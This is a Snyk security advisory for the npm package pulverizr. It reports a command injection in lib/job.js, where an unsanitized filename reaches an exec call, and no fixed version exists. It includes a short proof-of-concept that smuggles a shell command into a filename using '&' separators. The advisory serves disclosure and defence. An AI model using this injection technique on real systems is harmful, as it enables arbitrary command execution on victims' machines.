Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsThere is no fixed version for pulverizr
.
pulverizr is a to smash your images down to size.
Affected versions of this package are vulnerable to Command Injection. Within lib/job.js
, the variable filename
can be controlled by the attacker. This function uses the variable filename
to construct the argument of the exec call without any sanitization.
In order to successfully exploit this vulnerability, an attacker will need to create a new file with the same name as the attack command.
var root = require("pulverizr"); var fs = require("fs"); var attack_code = "touch Song";
var injection_code = ""&" + attack_code + "&"a.jpg" var inputs = [injection_code] fs.writeFile(injection_code, "123", function(){});
var job = root.createJob(inputs, {}); job.run();